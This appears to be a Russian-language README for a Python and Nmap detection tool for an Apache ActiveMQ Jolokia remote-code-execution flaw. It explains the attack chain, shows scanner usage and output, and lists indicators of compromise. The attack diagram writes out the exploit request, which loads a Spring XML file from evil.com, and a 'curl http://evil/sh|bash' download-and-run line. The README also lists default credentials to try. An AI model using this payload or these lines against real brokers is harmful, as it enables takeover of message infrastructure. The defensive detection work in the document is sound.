
Обнаруживает RCE в Apache ActiveMQ Classic (CVE-2026-34197) через Jolokia API с помощью скриптов на Python и Nmap NSE, проверяя неаутентифицированный доступ и уязвимость версии.
Уязвимость удалённого выполнения кода в Apache ActiveMQ Classic, которая позволяет атакующему выполнить произвольный код, вызвав операцию MBean addNetworkConnector(String) через Jolokia API (/api/jolokia/). Атакующий внедряет вредоносный параметр brokerConfig, указывающий на удалённый Spring XML-файл, который ActiveMQ загружает и разбирает, создавая произвольные Java-объекты и добиваясь выполнения кода.
На версиях ActiveMQ с 6.0.0 по 6.1.1 конечная точка Jolokia полностью не требует аутентификации, что делает эту уязвимость RCE без аутентификации и без взаимодействия с пользователем.
Эта уязвимость скрывалась в кодовой базе 13 лет, прежде чем была обнаружена с помощью ИИ.
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-34197 |
| Поставщик | Apache Software Foundation |
| Продукт | Apache ActiveMQ Classic |
| Затронутые версии | Все версии до 5.19.4 и 6.2.3 |
| RCE без аутентификации | Версии с 6.0.0 по 6.1.1 (Jolokia не имеет аутентификации) |
| CVSS v3.1 | 8.8 (Высокий) |
| CWE | CWE-94 — Некорректный контроль генерации кода |
| Вектор атаки | Сеть |
| Аутентификация | Требуется на 5.x; отсутствует на 6.0.0–6.1.1 |
| Взаимодействие с пользователем | Отсутствует |
| Зрелость эксплойта | Доступен публичный PoC |
| Исправлено в | ActiveMQ Classic 5.19.4, 6.2.3 |
| Возраст ошибки | ~13 лет в кодовой базе |
| Обнаружение | Исследование уязвимостей с помощью ИИ |
Apache ActiveMQ Classic — один из наиболее широко развёрнутых брокеров сообщений с открытым исходным кодом в экосистеме Java. Он реализует спецификацию Java Message Service (JMS) и служит основой асинхронной коммуникации в тысячах корпоративных сред по всему миру.
ActiveMQ обрабатывает всё: от очередей обработки заказов и конвейеров финансовых транзакций до потоков телеметрии IoT и шин событий микросервисов. Если ваша организация использует Java-микросервисы, событийно-ориентированную архитектуру или любую форму асинхронного обмена сообщениями, велика вероятность, что ActiveMQ присутствует где-то в стеке.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here
Когда злоумышленник компрометирует ActiveMQ, он получает не просто шелл на одном сервере. Он оказывается в **центре всех потоков сообщений** в организации, имея возможность читать, изменять, перенаправлять или внедрять сообщения между критически важными системами.
---
## Глубокий анализ уязвимости
### Архитектура: Jolokia и JMX
**JMX** (Java Management Extensions) — это стандартный интерфейс управления для Java-приложений. Он предоставляет «MBeans» (Managed Beans), которые позволяют осуществлять мониторинг и управление внутренними компонентами приложения. ActiveMQ предоставляет MBeans для управления брокерами, очередями, темами, соединениями и многим другим.
**Jolokia** — это мост JMX через HTTP. Он преобразует операции JMX в RESTful JSON API, позволяя управлять Java-приложениями с помощью HTTP-запросов, не требуя выделенного JMX-клиента.
ActiveMQ Classic поставляется со встроенным Jolokia, доступным по адресу `/api/jolokia/` на порту веб-консоли (по умолчанию: 8161).```
Traditional JMX Access:
┌──────────┐ ┌──────────────┐
│ JConsole │ ────── JMX Protocol ─────────> │ ActiveMQ │
│ │ (requires JMX client) │ MBeans │
└──────────┘ └──────────────┘
Jolokia HTTP Access:
┌──────────┐ ┌──────────────┐
│ curl / │ ── POST /api/jolokia/ ───────> │ ActiveMQ │
│ browser │ (just needs HTTP) │ MBeans │
└──────────┘ └──────────────┘
⬆️
Anyone with HTTP access can
invoke MBean operations
Вот где начинаются проблемы. Jolokia открывает всю мощь управления JMX через простой HTTP API. И одна из операций MBean, доступных на брокере, — это addNetworkConnector(String).
Операция addNetworkConnector(String) предназначена для создания сетевых мостов между экземплярами брокера ActiveMQ. Она принимает строку URI, описывающую, как подключиться к другому брокеру.
ActiveMQ поддерживает схему URI vm:// для внутрипроцессных подключений к брокеру. Эти URI поддерживают параметр brokerConfig, который указывает на файл конфигурации Spring XML. А Spring XML может создавать произвольные Java-объекты.
Вот полная цепочка:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘
ActiveMQ делает ровно то, для чего был спроектирован: загружает конфигурацию брокера. Проблема в том, что источником конфигурации управляет атакующий, а Spring XML по сути является форматом выполнения кода.
### Пробел в аутентификации
Именно это превращает уязвимость из серьёзной в критическую:
| Версия ActiveMQ | Статус аутентификации Jolokia | Воздействие |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | Требуется аутентификация (по умолчанию: admin:admin) | RCE с аутентификацией, часто тривиально обходится |
| 6.0.0 — 6.1.1 | **Полностью без аутентификации** | **RCE без аутентификации** |
| 6.1.2 — 6.2.2 | Требуется аутентификация | RCE с аутентификацией |
| 5.19.4+ / 6.2.3+ | Исправлено | Не уязвимо |
На ActiveMQ 6.0.0 — 6.1.1 конечная точка Jolokia не требует **никакой аутентификации**. Любой, кто может получить доступ к порту 8161, получает удалённое выполнение кода без аутентификации.
Даже на версиях, где Jolokia требует аутентификацию, учётные данные по умолчанию `admin:admin` широко известны и часто остаются без изменений в средах разработки, тестирования и продакшена.
---
## Анализ воздействия
**Непосредственное воздействие на хост брокера:**
- Полное удалённое выполнение кода с правами процесса ActiveMQ
- Доступ ко всем очередям сообщений, топикам и сохранённым сообщениям
- Возможность чтения, изменения и внедрения сообщений при передаче
- Доступ к файлам конфигурации, хранилищам ключей и сохранённым учётным данным
**Каскадное воздействие (через манипуляцию сообщениями):**
- Внедрение вредоносных сообщений в очереди обработки
- Изменение финансовых транзакций, заказов или команд в процессе выполнения
- Перехват конфиденциальных данных, проходящих через брокер
- Нарушение работы всех сервисов, зависящих от сообщений
**Усиление корпоративного риска:**
- ActiveMQ находится на пересечении всех приложений, которые его используют
- Один скомпрометированный брокер может затронуть десятки подключённых сервисов
- Брокеры сообщений обычно размещаются в доверенных сетевых зонах с широким доступом
- Горизонтальное перемещение из сетевого положения брокера выполняется просто```
What an attacker can do after exploitation:
┌─────────────────────────────────────────────────────────┐
│ Compromised ActiveMQ Broker │
└────┬───────────┬───────────┬───────────┬──────────┬─────┘
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
Read/modify Inject Pivot to Intercept Deploy
messages malicious connected creds in persistent
in transit messages systems messages backdoor
| Версия | Статус |
|---|---|
| ActiveMQ Classic 6.2.3+ | Исправлено |
| ActiveMQ Classic 5.19.4+ | Исправлено |
| ActiveMQ Classic 6.0.0 — 6.2.2 | Уязвимо (6.0.0 — 6.1.1 = без аутентификации) |
| ActiveMQ Classic < 5.19.4 | Уязвимо (с аутентификацией) |
| ActiveMQ Artemis | Не затронут (другая кодовая база) |
Python-скрипт обнаруживает уязвимые экземпляры ActiveMQ с помощью многоэтапного анализа.
Как это работает:
/api/jolokia/ без аутентификации (HTTP 200 = открыт, 401 = требуется аутентификация)admin:admin, user:user, admin:activemq/admin/ и / на наличие строк версии ActiveMQ с помощью сопоставления по регулярным выражениямorg.apache.activemq:type=Broker, чтобы подтвердить наличие пути эксплуатацииЭксплуатирующие полезные нагрузки не отправляются. Команды не выполняются. Сканер только наблюдает за доступностью конечных точек и информацией о версии.
Использование:```bash
pip install -r requirements.txt
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20
**Параметры:**
| Флаг | Описание | По умолчанию |
|------|-------------|---------|
| `-t`, `--target` | Один целевой URL (например, `http://host:8161`) | — |
| `-f`, `--file` | Файл с целевыми URL, по одному на строку (поддерживаются комментарии `#`) | — |
| `-u`, `--username` | Имя пользователя для аутентификации Jolokia | — |
| `-p`, `--password` | Пароль для аутентификации Jolokia | — |
| `-o`, `--output` | Сохранить результаты в JSON-файл | — |
| `--timeout` | Таймаут подключения в секундах | `10` |
| `--verify-ssl` | Включить проверку SSL-сертификата | Отключено |
| `-v`, `--verbose` | Подробный вывод с полными деталями | Выкл |
**Пример вывода:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...
======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
Jolokia Accessible: YES
Requires Auth: NO (unauthenticated)
ActiveMQ Version: 6.1.0
Vulnerable: YES
Unauth RCE (6.0-6.1): YES — CRITICAL
Broker MBean Access: YES
Details:
- Jolokia API accessible WITHOUT authentication
- Detected ActiveMQ version: 6.1.0
- Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
CRITICAL: No auth required!
- Broker MBean accessible: [org.apache.activemq:type=Broker,...]
======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================
sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24
nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt
nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
**Пример вывода Nmap:**```
PORT STATE SERVICE
8161/tcp open http
| CVE-2026-34197_ActiveMQ_Jolokia:
| VULNERABLE:
| Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
| State: VULNERABLE
| Risk level: CRITICAL
| ActiveMQ Version: 6.1.0
| Jolokia Accessible: true (unauthenticated)
| Description:
| CRITICAL: Jolokia API is accessible without authentication on
| ActiveMQ 6.1.0, enabling unauthenticated remote code execution
| via addNetworkConnector MBean.
| References:
|_ https://nvd.nist.gov/vuln/detail/CVE-2026-34197
Если вы хотите проверить вручную с помощью curl:```bash
curl -sk http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool
Если на шаге 1 возвращается JSON-ответ с информацией об агенте Jolokia, значит, конечная точка не требует аутентификации. Если на шаге 2 срабатывают учётные данные по умолчанию, у вас есть аутентифицированный доступ. В любом случае, если MBean брокера доступен, путь эксплуатации существует.
---
## Индикаторы компрометации
Обратите внимание на эти признаки в вашей среде:
| Индикатор | Где проверять | На что обращать внимание |
|:---|:---|:---|
| Доступ к Jolokia | Журналы доступа веб-консоли | POST-запросы к `/api/jolokia/`, содержащие `addNetworkConnector` |
| Исходящие запросы | Сетевые журналы / межсетевой экран | HTTP-запросы от ActiveMQ к неожиданным внешним хостам |
| Загрузка Spring XML | Журналы ActiveMQ | Ссылки на URI `xbean:http://` |
| Сетевые коннекторы | Конфигурация брокера | URI `vm://` с параметрами `brokerConfig`, которые вы не создавали |
| Дочерние процессы | Мониторинг процессов | Неожиданные процессы, порождённые Java-процессом ActiveMQ |
**Команды для расследования:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/
# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors
# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java
# Check for unexpected child processes
ps aux --forest | grep -A5 activemq
Немедленные действия (выполните сейчас):
/api/jolokia/admin:admin на веб-консолиКраткосрочные меры (на этой неделе):
addNetworkConnector)Долгосрочные меры:
Kerem Oruç — инженер по кибербезопасности